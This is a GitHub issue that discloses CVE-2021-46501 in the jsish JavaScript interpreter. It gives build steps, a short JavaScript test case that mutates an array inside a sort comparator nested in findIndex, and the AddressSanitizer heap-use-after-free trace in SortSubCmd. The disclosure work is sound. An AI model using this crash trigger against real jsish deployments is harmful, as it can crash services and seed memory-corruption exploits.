CVE-2021-46501: Heap-use-after-free src/jsiArray.c:958 in SortSubCmd · Issue #86 · pcmacdon/jsish

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Closed

hope-fly opened this issue

Dec 24, 2021

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Jsish revision

Commit: 9fa798e

Version: v3.5.0

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

export CFLAGS=’-fsanitize=address’ make

Test case

var JSEtest = [ 'aa’, 'bb’, ‘cc’ ]; var results = JSEtest; JSEtest.findIndex(function (kV) { JSEtest.sort(function (str, position) { results.push(kV); }); });

​

Execution steps & Output

$ ./jsish/jsish poc.js ==106201==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000018678 at pc 0x56468deff5a0 bp 0x7fff9a37c2a0 sp 0x7fff9a37c290 READ of size 8 at 0x60c000018678 thread T0 #0 0x56468deff59f in SortSubCmd src/jsiArray.c:958 #1 0x7fb68d0b0311 (/lib/x86_64-linux-gnu/libc.so.6+0x42311) #2 0x7fb68d0b027d (/lib/x86_64-linux-gnu/libc.so.6+0x4227d) #3 0x7fb68d0b027d (/lib/x86_64-linux-gnu/libc.so.6+0x4227d) #4 0x7fb68d0b06b5 in qsort_r (/lib/x86_64-linux-gnu/libc.so.6+0x426b5) #5 0x56468df02611 in jsi_ArraySortCmd src/jsiArray.c:1065 #6 0x56468decf818 in jsi_FuncCallSub src/jsiProto.c:244 #7 0x56468e19971a in jsiFunctionSubCall src/jsiEval.c:796 #8 0x56468e19971a in jsiEvalFunction src/jsiEval.c:837 #9 0x56468e19971a in jsiEvalCodeSub src/jsiEval.c:1264 #10 0x56468e1ad15e in jsi_evalcode src/jsiEval.c:2204 #11 0x56468ded0834 in jsi_FuncCallSub src/jsiProto.c:220 #12 0x56468de4cfec in jsi_FunctionInvoke src/jsiFunc.c:777 #13 0x56468de4cfec in Jsi_FunctionInvoke src/jsiFunc.c:789 #14 0x56468df0dc0b in jsi_ArrayFindSubCmd src/jsiArray.c:576 #15 0x56468df0dc0b in jsi_ArrayFindIndexCmd src/jsiArray.c:666 #16 0x56468decf818 in jsi_FuncCallSub src/jsiProto.c:244 #17 0x56468e19971a in jsiFunctionSubCall src/jsiEval.c:796 #18 0x56468e19971a in jsiEvalFunction src/jsiEval.c:837 #19 0x56468e19971a in jsiEvalCodeSub src/jsiEval.c:1264 #20 0x56468e1ad15e in jsi_evalcode src/jsiEval.c:2204 #21 0x56468e1b1274 in jsi_evalStrFile src/jsiEval.c:2665 #22 0x56468dea066a in Jsi_Main src/jsiInterp.c:936 #23 0x56468e6a503a in jsi_main src/main.c:47 #24 0x7fb68d08fbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6) #25 0x56468de34969 in _start (/usr/local/bin/jsish+0xe8969)

0x60c000018678 is located 56 bytes inside of 128-byte region [0x60c000018640,0x60c0000186c0) freed by thread T0 here: #0 0x7fb68dcfef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x56468dea5972 in Jsi_Realloc src/jsiUtils.c:47

previously allocated by thread T0 here: #0 0x7fb68dcfef30 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdef30) #1 0x56468dea5972 in Jsi_Realloc src/jsiUtils.c:47

SUMMARY: AddressSanitizer: heap-use-after-free src/jsiArray.c:958 in SortSubCmd Shadow bytes around the buggy address: 0x0c187fffb070: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c187fffb080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c187fffb090: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x0c187fffb0a0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c187fffb0b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c187fffb0c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd[fd] 0x0c187fffb0d0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x0c187fffb0e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c187fffb0f0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c187fffb100: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c187fffb110: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==106201==ABORTING

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